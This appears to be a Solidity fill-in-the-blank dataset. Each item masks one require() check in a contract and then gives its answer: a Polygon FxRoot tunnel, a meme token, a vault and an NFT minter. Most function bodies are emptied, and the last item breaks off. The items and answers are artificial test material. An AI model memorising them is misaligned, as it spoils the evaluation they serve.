// checking if exit has already been processed
// unique exit is identified using hash of (blockNumber, branchMask, receiptLogIndex)
bytes32 exitHash = keccak256(
abi.encodePacked(
blockNumber,
// first 2 nibbles are dropped while generating nibble array
// this allows branch masks that are valid but bypass exitHash check (changing first 2 nibbles only)
// so converting to nibble array and then hashing it
MerklePatriciaProof._getNibbleArray(branchMaskBytes),
payload.getReceiptLogIndex()
)
);
require(
processedExits[exitHash] == false,
"FxRootTunnel: EXIT_ALREADY_PROCESSED"
);
processedExits[exitHash] = true;
ExitPayloadReader.Receipt memory receipt = payload.getReceipt();
ExitPayloadReader.Log memory log = receipt.getLog();
// check child tunnel
require(
fxChildTunnel == log.getEmitter(),
"FxRootTunnel: INVALID_FX_CHILD_TUNNEL"
);
bytes32 receiptRoot = payload.getReceiptRoot();
// verify receipt inclusion
require(<FILL_ME>)
// verify checkpoint inclusion
_checkBlockMembershipInCheckpoint(
blockNumber,
payload.getBlockTime(),
payload.getTxRoot(),
receiptRoot,
payload.getHeaderNumber(),
payload.getBlockProof()
);
ExitPayloadReader.LogTopics memory topics = log.getTopics();
require(
bytes32(topics.getField(0).toUint()) == SEND_MESSAGE_EVENT_SIG, // topic0 is event sig
"FxRootTunnel: INVALID_SIGNATURE"
);
// received message data
bytes memory message = abi.decode(log.getData(), (bytes)); // event decodes params again, so decoding bytes to get message
return message;
}
function _checkBlockMembershipInCheckpoint(
uint256 blockNumber,
uint256 blockTime,
bytes32 txRoot,
bytes32 receiptRoot,
uint256 headerNumber,
bytes memory blockProof
) private view returns (uint256) {
}
/**
* @notice receive message from L2 to L1, validated by proof
* @dev This function verifies if the transaction actually happened on child chain
*
* @param inputData RLP encoded data of the reference tx containing following list of fields
* 0 - headerNumber - Checkpoint header block number containing the reference tx
* 1 - blockProof - Proof that the block header (in the child chain) is a leaf in the submitted merkle root
* 2 - blockNumber - Block number containing the reference tx on child chain
* 3 - blockTime - Reference tx block time
* 4 - txRoot - Transactions root of block
* 5 - receiptRoot - Receipts root of block
* 6 - receipt - Receipt of the reference transaction
* 7 - receiptProof - Merkle proof of the reference receipt
* 8 - branchMask - 32 bits denoting the path of receipt in merkle tree
* 9 - receiptLogIndex - Log Index to read from the receipt
*/
function receiveMessage(bytes memory inputData) public virtual {
}
/**
* @notice Process message received from Child Tunnel
* @dev function needs to be implemented to handle message as per requirement
* This is called by onStateReceive function.
* Since it is called via a system call, any event will not be emitted during its execution.
* @param message bytes message that was sent from Child Tunnel
*/
function _processMessageFromChild(bytes memory message) internal virtual;
}
| MerklePatriciaProof.verify(receipt.toBytes(),branchMaskBytes,payload.getReceiptProof(),receiptRoot),"FxRootTunnel: INVALID_RECEIPT_PROOF" | 490,140 | MerklePatriciaProof.verify(receipt.toBytes(),branchMaskBytes,payload.getReceiptProof(),receiptRoot) |
"FxRootTunnel: INVALID_SIGNATURE" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import { RLPReader } from "../lib/RLPReader.sol";
import { MerklePatriciaProof } from "../lib/MerklePatriciaProof.sol";
import { Merkle } from "../lib/Merkle.sol";
import "../lib/ExitPayloadReader.sol";
interface IFxStateSender {
function sendMessageToChild(address _receiver, bytes calldata _data)
external;
}
contract ICheckpointManager {
struct HeaderBlock {
bytes32 root;
uint256 start;
uint256 end;
uint256 createdAt;
address proposer;
}
/**
* @notice mapping of checkpoint header numbers to block details
* @dev These checkpoints are submited by plasma contracts
*/
mapping(uint256 => HeaderBlock) public headerBlocks;
}
abstract contract FxBaseRootTunnel {
using RLPReader for RLPReader.RLPItem;
using Merkle for bytes32;
using ExitPayloadReader for bytes;
using ExitPayloadReader for ExitPayloadReader.ExitPayload;
using ExitPayloadReader for ExitPayloadReader.Log;
using ExitPayloadReader for ExitPayloadReader.LogTopics;
using ExitPayloadReader for ExitPayloadReader.Receipt;
// keccak256(MessageSent(bytes))
bytes32 public constant SEND_MESSAGE_EVENT_SIG =
0x8c5261668696ce22758910d05bab8f186d6eb247ceac2af2e82c7dc17669b036;
// state sender contract
IFxStateSender public fxRoot;
// root chain manager
ICheckpointManager public checkpointManager;
// child tunnel contract which receives and sends messages
address public fxChildTunnel;
// storage to avoid duplicate exits
mapping(bytes32 => bool) public processedExits;
constructor(address _checkpointManager, address _fxRoot) {
}
function setFxChildTunnel(address _fxChildTunnel) external virtual;
/**
* @notice Send bytes message to Child Tunnel
* @param message bytes message that will be sent to Child Tunnel
* some message examples -
* abi.encode(tokenId);
* abi.encode(tokenId, tokenMetadata);
* abi.encode(messageType, messageData);
*/
function _sendMessageToChild(bytes memory message) internal {
}
function _validateAndExtractMessage(bytes memory inputData)
internal
returns (bytes memory)
{
ExitPayloadReader.ExitPayload memory payload = inputData
.toExitPayload();
bytes memory branchMaskBytes = payload.getBranchMaskAsBytes();
uint256 blockNumber = payload.getBlockNumber();
// checking if exit has already been processed
// unique exit is identified using hash of (blockNumber, branchMask, receiptLogIndex)
bytes32 exitHash = keccak256(
abi.encodePacked(
blockNumber,
// first 2 nibbles are dropped while generating nibble array
// this allows branch masks that are valid but bypass exitHash check (changing first 2 nibbles only)
// so converting to nibble array and then hashing it
MerklePatriciaProof._getNibbleArray(branchMaskBytes),
payload.getReceiptLogIndex()
)
);
require(
processedExits[exitHash] == false,
"FxRootTunnel: EXIT_ALREADY_PROCESSED"
);
processedExits[exitHash] = true;
ExitPayloadReader.Receipt memory receipt = payload.getReceipt();
ExitPayloadReader.Log memory log = receipt.getLog();
// check child tunnel
require(
fxChildTunnel == log.getEmitter(),
"FxRootTunnel: INVALID_FX_CHILD_TUNNEL"
);
bytes32 receiptRoot = payload.getReceiptRoot();
// verify receipt inclusion
require(
MerklePatriciaProof.verify(
receipt.toBytes(),
branchMaskBytes,
payload.getReceiptProof(),
receiptRoot
),
"FxRootTunnel: INVALID_RECEIPT_PROOF"
);
// verify checkpoint inclusion
_checkBlockMembershipInCheckpoint(
blockNumber,
payload.getBlockTime(),
payload.getTxRoot(),
receiptRoot,
payload.getHeaderNumber(),
payload.getBlockProof()
);
ExitPayloadReader.LogTopics memory topics = log.getTopics();
require(<FILL_ME>)
// received message data
bytes memory message = abi.decode(log.getData(), (bytes)); // event decodes params again, so decoding bytes to get message
return message;
}
function _checkBlockMembershipInCheckpoint(
uint256 blockNumber,
uint256 blockTime,
bytes32 txRoot,
bytes32 receiptRoot,
uint256 headerNumber,
bytes memory blockProof
) private view returns (uint256) {
}
/**
* @notice receive message from L2 to L1, validated by proof
* @dev This function verifies if the transaction actually happened on child chain
*
* @param inputData RLP encoded data of the reference tx containing following list of fields
* 0 - headerNumber - Checkpoint header block number containing the reference tx
* 1 - blockProof - Proof that the block header (in the child chain) is a leaf in the submitted merkle root
* 2 - blockNumber - Block number containing the reference tx on child chain
* 3 - blockTime - Reference tx block time
* 4 - txRoot - Transactions root of block
* 5 - receiptRoot - Receipts root of block
* 6 - receipt - Receipt of the reference transaction
* 7 - receiptProof - Merkle proof of the reference receipt
* 8 - branchMask - 32 bits denoting the path of receipt in merkle tree
* 9 - receiptLogIndex - Log Index to read from the receipt
*/
function receiveMessage(bytes memory inputData) public virtual {
}
/**
* @notice Process message received from Child Tunnel
* @dev function needs to be implemented to handle message as per requirement
* This is called by onStateReceive function.
* Since it is called via a system call, any event will not be emitted during its execution.
* @param message bytes message that was sent from Child Tunnel
*/
function _processMessageFromChild(bytes memory message) internal virtual;
}
| bytes32(topics.getField(0).toUint())==SEND_MESSAGE_EVENT_SIG,"FxRootTunnel: INVALID_SIGNATURE" | 490,140 | bytes32(topics.getField(0).toUint())==SEND_MESSAGE_EVENT_SIG |
"FxRootTunnel: INVALID_HEADER" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import { RLPReader } from "../lib/RLPReader.sol";
import { MerklePatriciaProof } from "../lib/MerklePatriciaProof.sol";
import { Merkle } from "../lib/Merkle.sol";
import "../lib/ExitPayloadReader.sol";
interface IFxStateSender {
function sendMessageToChild(address _receiver, bytes calldata _data)
external;
}
contract ICheckpointManager {
struct HeaderBlock {
bytes32 root;
uint256 start;
uint256 end;
uint256 createdAt;
address proposer;
}
/**
* @notice mapping of checkpoint header numbers to block details
* @dev These checkpoints are submited by plasma contracts
*/
mapping(uint256 => HeaderBlock) public headerBlocks;
}
abstract contract FxBaseRootTunnel {
using RLPReader for RLPReader.RLPItem;
using Merkle for bytes32;
using ExitPayloadReader for bytes;
using ExitPayloadReader for ExitPayloadReader.ExitPayload;
using ExitPayloadReader for ExitPayloadReader.Log;
using ExitPayloadReader for ExitPayloadReader.LogTopics;
using ExitPayloadReader for ExitPayloadReader.Receipt;
// keccak256(MessageSent(bytes))
bytes32 public constant SEND_MESSAGE_EVENT_SIG =
0x8c5261668696ce22758910d05bab8f186d6eb247ceac2af2e82c7dc17669b036;
// state sender contract
IFxStateSender public fxRoot;
// root chain manager
ICheckpointManager public checkpointManager;
// child tunnel contract which receives and sends messages
address public fxChildTunnel;
// storage to avoid duplicate exits
mapping(bytes32 => bool) public processedExits;
constructor(address _checkpointManager, address _fxRoot) {
}
function setFxChildTunnel(address _fxChildTunnel) external virtual;
/**
* @notice Send bytes message to Child Tunnel
* @param message bytes message that will be sent to Child Tunnel
* some message examples -
* abi.encode(tokenId);
* abi.encode(tokenId, tokenMetadata);
* abi.encode(messageType, messageData);
*/
function _sendMessageToChild(bytes memory message) internal {
}
function _validateAndExtractMessage(bytes memory inputData)
internal
returns (bytes memory)
{
}
function _checkBlockMembershipInCheckpoint(
uint256 blockNumber,
uint256 blockTime,
bytes32 txRoot,
bytes32 receiptRoot,
uint256 headerNumber,
bytes memory blockProof
) private view returns (uint256) {
(
bytes32 headerRoot,
uint256 startBlock,
,
uint256 createdAt,
) = checkpointManager.headerBlocks(headerNumber);
require(<FILL_ME>)
return createdAt;
}
/**
* @notice receive message from L2 to L1, validated by proof
* @dev This function verifies if the transaction actually happened on child chain
*
* @param inputData RLP encoded data of the reference tx containing following list of fields
* 0 - headerNumber - Checkpoint header block number containing the reference tx
* 1 - blockProof - Proof that the block header (in the child chain) is a leaf in the submitted merkle root
* 2 - blockNumber - Block number containing the reference tx on child chain
* 3 - blockTime - Reference tx block time
* 4 - txRoot - Transactions root of block
* 5 - receiptRoot - Receipts root of block
* 6 - receipt - Receipt of the reference transaction
* 7 - receiptProof - Merkle proof of the reference receipt
* 8 - branchMask - 32 bits denoting the path of receipt in merkle tree
* 9 - receiptLogIndex - Log Index to read from the receipt
*/
function receiveMessage(bytes memory inputData) public virtual {
}
/**
* @notice Process message received from Child Tunnel
* @dev function needs to be implemented to handle message as per requirement
* This is called by onStateReceive function.
* Since it is called via a system call, any event will not be emitted during its execution.
* @param message bytes message that was sent from Child Tunnel
*/
function _processMessageFromChild(bytes memory message) internal virtual;
}
| keccak256(abi.encodePacked(blockNumber,blockTime,txRoot,receiptRoot)).checkMembership(blockNumber-startBlock,headerRoot,blockProof),"FxRootTunnel: INVALID_HEADER" | 490,140 | keccak256(abi.encodePacked(blockNumber,blockTime,txRoot,receiptRoot)).checkMembership(blockNumber-startBlock,headerRoot,blockProof) |
"Must keep fees at 10% or less" | /**
*$XPL0DE
*/
/**
TG - https://t.me/xpl0deerc20
TWITTER - https://twitter.com/xpl0der
BASED TEAM
*/
pragma solidity ^0.8.17;
//SPDX-License-Identifier: UNLICENSED
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
function _msgData() internal view virtual returns (bytes calldata) {
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping(address => uint256) internal _balances;
mapping(address => mapping(address => uint256)) internal _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The defaut value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor(string memory name_, string memory symbol_) {
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount)
public
virtual
override
returns (bool)
{
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender)
public
view
virtual
override
returns (uint256)
{
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue)
public
virtual
returns (bool)
{
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue)
public
virtual
returns (bool)
{
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
}
/** This function will be used to generate the total supply
* while deploying the contract
*
* This function can never be called again after deploying contract
*/
function _tokengeneration(address account, uint256 amount) internal virtual {
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* generation and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be generated for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
}
library Address {
function sendValue(address payable recipient, uint256 amount) internal {
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
}
function owner() public view virtual returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
function transferOwnership(address newOwner) public virtual onlyOwner {
}
function _setOwner(address newOwner) private {
}
}
interface IFactory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IRouter {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
}
contract XPL0DE is ERC20, Ownable {
using Address for address payable;
IRouter public router;
address public pair;
bool private _liquidityMutex = false;
bool public providingLiquidity = false;
bool public tradingEnabled = false;
uint256 public tokenLiquidityThreshold = 3e4 * 10**18;
uint256 public maxWalletLimit = 1e5 * 10**18;
uint256 public genesis_block;
uint256 private deadline = 1;
uint256 private launchtax = 99;
address public marketingWallet = 0xBc609c65635E6291B40De89C6bbE3D073Cc088d2;
address private devWallet = 0xd5B5Bb1cDCfEF72d7A23fc39204Fb33d236d14b5;
address public constant deadWallet = 0x000000000000000000000000000000000000dEaD;
struct Taxes {
uint256 marketing;
uint256 liquidity;
uint256 dev;
}
Taxes public taxes = Taxes(4, 0, 1);
Taxes public sellTaxes = Taxes(4, 0, 1);
mapping(address => bool) public exemptFee;
//Anti Dump
mapping(address => uint256) private _lastSell;
modifier mutexLock() {
}
constructor() ERC20("XPL0DE", "XPL0DE") {
}
function approve(address spender, uint256 amount) public override returns (bool) {
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
}
function increaseAllowance(address spender, uint256 addedValue)
public
override
returns (bool)
{
}
function decreaseAllowance(address spender, uint256 subtractedValue)
public
override
returns (bool)
{
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
}
function _transfer(
address sender,
address recipient,
uint256 amount
) internal override {
}
function handle_fees(uint256 feeswap, Taxes memory swapTaxes) private mutexLock {
}
function swapTokensForETH(uint256 tokenAmount) private {
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
}
function updateLiquidityProvide(bool state) external onlyOwner {
}
function updateLiquidityTreshhold(uint256 new_amount) external onlyOwner {
}
function UpdateBuyTaxes(
uint256 _marketing,
uint256 _liquidity,
uint256 _dev
) external onlyOwner {
taxes = Taxes(_marketing, _liquidity, _dev);
require(<FILL_ME>)
}
function SetSellTaxes(
uint256 _marketing,
uint256 _liquidity,
uint256 _dev
) external onlyOwner {
}
function enableTrading() external onlyOwner {
}
function updatedeadline(uint256 _deadline) external onlyOwner {
}
function updateMarketingWallet(address newWallet) external onlyOwner {
}
function updateDevWallet(address newWallet) external onlyOwner{
}
function updateExemptFee(address _address, bool state) external onlyOwner {
}
function bulkExemptFee(address[] memory accounts, bool state) external onlyOwner {
}
function updateMaxTxLimit(uint256 maxWallet) external onlyOwner {
}
function rescueETH(uint256 weiAmount) external {
}
function rescueERC20(address tokenAdd, uint256 amount) external {
}
// fallbacks
receive() external payable {}
}
| (_marketing+_liquidity+_dev)<=10,"Must keep fees at 10% or less" | 490,341 | (_marketing+_liquidity+_dev)<=10 |
"Insufficient balance." | pragma solidity ^0.8.4;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
interface IWETH is IERC20 {
function deposit() external payable;
function withdraw(uint256 amount) external;
}
contract Vault {
mapping(address => mapping(address => uint256)) public balances; // this is for users to deposit and withdraw funds
address public wethAddress;
IWETH weth;
constructor(address _wethAddress) {
}
function deposit(address _token, uint256 amount) external {
}
function withdraw(address _token, uint256 amount) external {
require(amount > 0, "Amount must be greater than zero.");
IERC20 token = IERC20(_token);
require(<FILL_ME>)
balances[msg.sender][address(token)] -= amount;
require(token.transfer(msg.sender, amount), "Transfer failed.");
}
function depositETH() external payable {
}
function withdrawETH(uint256 amount) external {
}
}
| balances[msg.sender][address(token)]>=amount,"Insufficient balance." | 490,361 | balances[msg.sender][address(token)]>=amount |
"Insufficient balance." | pragma solidity ^0.8.4;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
interface IWETH is IERC20 {
function deposit() external payable;
function withdraw(uint256 amount) external;
}
contract Vault {
mapping(address => mapping(address => uint256)) public balances; // this is for users to deposit and withdraw funds
address public wethAddress;
IWETH weth;
constructor(address _wethAddress) {
}
function deposit(address _token, uint256 amount) external {
}
function withdraw(address _token, uint256 amount) external {
}
function depositETH() external payable {
}
function withdrawETH(uint256 amount) external {
require(amount > 0, "Amount must be greater than zero.");
require(<FILL_ME>)
balances[msg.sender][address(weth)] -= amount;
weth.transfer(msg.sender, amount);
}
}
| balances[msg.sender][address(weth)]>=amount,"Insufficient balance." | 490,361 | balances[msg.sender][address(weth)]>=amount |
"Minting already started" | //Contract based on https://docs.openzeppelin.com/contracts/3.x/erc721
// SPDX-License-Identifier: MIT
pragma solidity >=0.7.0;
import "https://github.com/chiru-labs/ERC721A/contracts/ERC721A.sol";
import "@openzeppelin/contracts/utils/Counters.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
contract CosmoGang is ERC721A, Ownable {
address public constant MAIN_ADDRESS = 0x9C21c877B44eBac7F0E8Ee99dB4ebFD4A9Ac5000;
uint256 public constant MAX_SUPPLY = 10000;
uint256 public constant MAX_PER_WALLET = 5;
// string public constant PLACEHOLDER_URI = "https://infura-ipfs.io/ipfs/QmZ4oaUmJqXuVCZJAPQCfmkKyjv4muC1DS7d8hFu1meDEn";
// string public constant PLACEHOLDER_URI = "ipfs://infura-ipfs.io/ipfs/QmP1c2YSBYPmLNGSeC7S91u9isPi1RUt3PP4QVjphaEpJX";
string public constant PLACEHOLDER_URI = "https://bafybeih6b2d4aqvcsw6sv3cu2pi3doldwa4lq42w34ismwvfrictsod5nu.ipfs.infura-ipfs.io/";
enum Faction {None, Jahjahrion, Breedorok, Foodrak, Pimpmyridian,
Muskarion, Lamborgardoz, Schumarian, Creatron}
uint256 public price = 0 ether;
using Counters for Counters.Counter;
Counters.Counter private _tokenIds;
uint256 public current_supply = 2000;
uint256[] public _tokenIdsList;
mapping (uint256 => string) public tokenURIs;
mapping (uint256 => address) private _tokenOwners;
mapping (uint256 => Faction) public tokenFactions;
address[] public holders;
address[] public whitelist;
mapping(string => uint8) public hashes;
bool public isMinting = false;
mapping(address => uint) private balance;
mapping(address => uint) private presaleAmount;
constructor() ERC721A("TheCosmoGang", "CG")
{
}
function startMinting()
public onlyOwner
{
require(<FILL_ME>)
if (!isMinting)
{
isMinting = true;
}
}
function stopMinting()
public onlyOwner
{
}
// Mint Logic
function _mintNFT(uint256 nMint, address recipient)
private
returns (uint256[] memory)
{
}
// Normal Mint
function mintNFT(uint256 nMint, address recipient)
external payable
returns (uint256[] memory)
{
}
// Free Mint
function giveaway(uint256 nMint, address recipient)
external onlyOwner
returns (uint256[] memory)
{
}
function burnNFT(uint256 tokenId)
external onlyOwner
{
}
function setCurrentSupply(uint256 supply)
external onlyOwner
{
}
function transferFrom(address from, address to, uint256 tokenId)
public
override
{
}
function tokenURI(uint256 tokenId)
public view
override
returns (string memory)
{
}
function setTokenURI(uint256 tokenId, string memory _tokenURI, Faction faction)
private
// override(ERC721)
{
}
function updateTokenURI(uint256 tokenId, string memory _tokenURI, Faction faction)
external onlyOwner
// override(ERC721A)
{
}
function setPrice(uint256 priceGwei)
external onlyOwner
{
}
function getTokenIds()
external view onlyOwner
returns (uint256[] memory)
{
}
function getTokenIdsOf(address addr)
external view onlyOwner
returns (uint256[] memory)
{
}
function getCurrentSupply()
public view
returns (uint256)
{
}
function addHolder(address addr)
private
{
}
function removeHolder(address addr)
private
{
}
function isHolder(address addr)
public view
returns (bool)
{
}
function withdraw()
public
payable
{
}
function getETHBalance(address addr)
public view
returns (uint)
{
}
function random()
public view
returns (uint)
{
}
function getRandomHolder()
public view
returns (address)
{
}
function getContractBalance()
public view
returns (uint256)
{
}
receive()
external payable
{
}
fallback()
external
{
}
}
| !isMinting,"Minting already started" | 490,534 | !isMinting |
"No more NFT to mint" | //Contract based on https://docs.openzeppelin.com/contracts/3.x/erc721
// SPDX-License-Identifier: MIT
pragma solidity >=0.7.0;
import "https://github.com/chiru-labs/ERC721A/contracts/ERC721A.sol";
import "@openzeppelin/contracts/utils/Counters.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
contract CosmoGang is ERC721A, Ownable {
address public constant MAIN_ADDRESS = 0x9C21c877B44eBac7F0E8Ee99dB4ebFD4A9Ac5000;
uint256 public constant MAX_SUPPLY = 10000;
uint256 public constant MAX_PER_WALLET = 5;
// string public constant PLACEHOLDER_URI = "https://infura-ipfs.io/ipfs/QmZ4oaUmJqXuVCZJAPQCfmkKyjv4muC1DS7d8hFu1meDEn";
// string public constant PLACEHOLDER_URI = "ipfs://infura-ipfs.io/ipfs/QmP1c2YSBYPmLNGSeC7S91u9isPi1RUt3PP4QVjphaEpJX";
string public constant PLACEHOLDER_URI = "https://bafybeih6b2d4aqvcsw6sv3cu2pi3doldwa4lq42w34ismwvfrictsod5nu.ipfs.infura-ipfs.io/";
enum Faction {None, Jahjahrion, Breedorok, Foodrak, Pimpmyridian,
Muskarion, Lamborgardoz, Schumarian, Creatron}
uint256 public price = 0 ether;
using Counters for Counters.Counter;
Counters.Counter private _tokenIds;
uint256 public current_supply = 2000;
uint256[] public _tokenIdsList;
mapping (uint256 => string) public tokenURIs;
mapping (uint256 => address) private _tokenOwners;
mapping (uint256 => Faction) public tokenFactions;
address[] public holders;
address[] public whitelist;
mapping(string => uint8) public hashes;
bool public isMinting = false;
mapping(address => uint) private balance;
mapping(address => uint) private presaleAmount;
constructor() ERC721A("TheCosmoGang", "CG")
{
}
function startMinting()
public onlyOwner
{
}
function stopMinting()
public onlyOwner
{
}
// Mint Logic
function _mintNFT(uint256 nMint, address recipient)
private
returns (uint256[] memory)
{
require(<FILL_ME>)
require(_tokenIds.current() + nMint <= current_supply, "No more NFT to mint currently");
require(balanceOf(recipient) + nMint <= MAX_PER_WALLET, "Too much NFT minted");
current_supply -= nMint;
uint256[] memory newItemIds = new uint256[](nMint);
for (uint256 i = 0; i < nMint; i++)
{
_tokenIds.increment();
uint256 newItemId = _tokenIds.current();
_safeMint(recipient, 1);
// _mint(recipient, 1);
_tokenOwners[newItemId] = recipient;
_tokenIdsList.push(newItemId);
setTokenURI(newItemId, PLACEHOLDER_URI, Faction.None);
addHolder(recipient);
newItemIds[i] = newItemId;
}
return newItemIds;
}
// Normal Mint
function mintNFT(uint256 nMint, address recipient)
external payable
returns (uint256[] memory)
{
}
// Free Mint
function giveaway(uint256 nMint, address recipient)
external onlyOwner
returns (uint256[] memory)
{
}
function burnNFT(uint256 tokenId)
external onlyOwner
{
}
function setCurrentSupply(uint256 supply)
external onlyOwner
{
}
function transferFrom(address from, address to, uint256 tokenId)
public
override
{
}
function tokenURI(uint256 tokenId)
public view
override
returns (string memory)
{
}
function setTokenURI(uint256 tokenId, string memory _tokenURI, Faction faction)
private
// override(ERC721)
{
}
function updateTokenURI(uint256 tokenId, string memory _tokenURI, Faction faction)
external onlyOwner
// override(ERC721A)
{
}
function setPrice(uint256 priceGwei)
external onlyOwner
{
}
function getTokenIds()
external view onlyOwner
returns (uint256[] memory)
{
}
function getTokenIdsOf(address addr)
external view onlyOwner
returns (uint256[] memory)
{
}
function getCurrentSupply()
public view
returns (uint256)
{
}
function addHolder(address addr)
private
{
}
function removeHolder(address addr)
private
{
}
function isHolder(address addr)
public view
returns (bool)
{
}
function withdraw()
public
payable
{
}
function getETHBalance(address addr)
public view
returns (uint)
{
}
function random()
public view
returns (uint)
{
}
function getRandomHolder()
public view
returns (address)
{
}
function getContractBalance()
public view
returns (uint256)
{
}
receive()
external payable
{
}
fallback()
external
{
}
}
| _tokenIds.current()+nMint<=MAX_SUPPLY,"No more NFT to mint" | 490,534 | _tokenIds.current()+nMint<=MAX_SUPPLY |
"No more NFT to mint currently" | //Contract based on https://docs.openzeppelin.com/contracts/3.x/erc721
// SPDX-License-Identifier: MIT
pragma solidity >=0.7.0;
import "https://github.com/chiru-labs/ERC721A/contracts/ERC721A.sol";
import "@openzeppelin/contracts/utils/Counters.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
contract CosmoGang is ERC721A, Ownable {
address public constant MAIN_ADDRESS = 0x9C21c877B44eBac7F0E8Ee99dB4ebFD4A9Ac5000;
uint256 public constant MAX_SUPPLY = 10000;
uint256 public constant MAX_PER_WALLET = 5;
// string public constant PLACEHOLDER_URI = "https://infura-ipfs.io/ipfs/QmZ4oaUmJqXuVCZJAPQCfmkKyjv4muC1DS7d8hFu1meDEn";
// string public constant PLACEHOLDER_URI = "ipfs://infura-ipfs.io/ipfs/QmP1c2YSBYPmLNGSeC7S91u9isPi1RUt3PP4QVjphaEpJX";
